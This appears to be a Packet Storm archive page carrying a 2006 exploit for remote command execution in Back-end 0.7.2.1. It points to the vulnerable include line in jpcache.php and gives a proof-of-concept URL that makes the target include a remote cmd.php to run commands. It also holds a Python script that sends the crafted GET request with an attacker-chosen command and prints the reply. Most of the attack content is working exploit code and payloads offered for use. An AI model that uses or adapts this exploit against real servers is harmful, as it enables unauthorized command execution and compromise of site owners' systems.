what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Back-end0721.txt

Back-end0721.txt
Posted Jun 12, 2006
Authored by Federico Fazzi

Back-end version 0.7.2.1 remote command execution exploit that makes use of jpcache.php.

tags | exploit, remote, php
SHA-256 | d9fdd92864264785d35fa24e0adc6d7412596b2fa226693c4949819315f4ae65

Back-end0721.txt

Change Mirror Download
/ Federico Fazzi, <federico@autistici.org>
*/ Back-end = 0.7.2.1 (jpcache.php) Remote command execution
*/ 08/06/2006 1:04

Bug:

jpcache.php: line 40

---
$includedir = $_PSL['classdir'] . "/jpcache";
---

Proof of concept:

Back-end have a default path pre-set on jpcache.php,
and cracker can execute a remote command.

http://example/[be_path]/class/jpcache/jpcache.php?_PSL[classdir]=http://example/cmd.php?exec=uname

you can use too the exploit f_mg-2.62.py

#!/usr/bin/env python
#
# Back-end = 0.7.2.1 (jpcache.php) Remote command execution
# vendor, http://www.back-end.org/
#
# python f_be-0.7.2.1.py <remote_addr> <remote_port> <remote_path>
<remote_cmd> <command>
#
# Federico Fazzi <federico@autistici.org>
# more info see advisory.

import os, sys, socket

usage = "run: python %s [remote_addr] [remote_port] [remote_path]
[remote_cmd] <command>" % os.path.basename(sys.argv[0])

if len(sys.argv) < 6:
print usage
sys.exit()
else:
host = sys.argv[1]
port = int(sys.argv[2])
path = sys.argv[3]
cmd = sys.argv[4]
command = sys.argv[5]

print "Back-end = 0.7.2.1 (jpcache.php) Remote command execution"
print "Federico Fazzi <federico@autistici.org>\n"

includers = ['class/jpcache/jpcache.php?_PSL[classdir]=']

for inc in includers:
print ">> i try string %s" % inc
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send("GET %s%s%s?cmd=%s \r\n" % (path, inc, cmd, command))
print "\n>> reading.. done\n"
buf = sock.recv(2048)
print buf

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close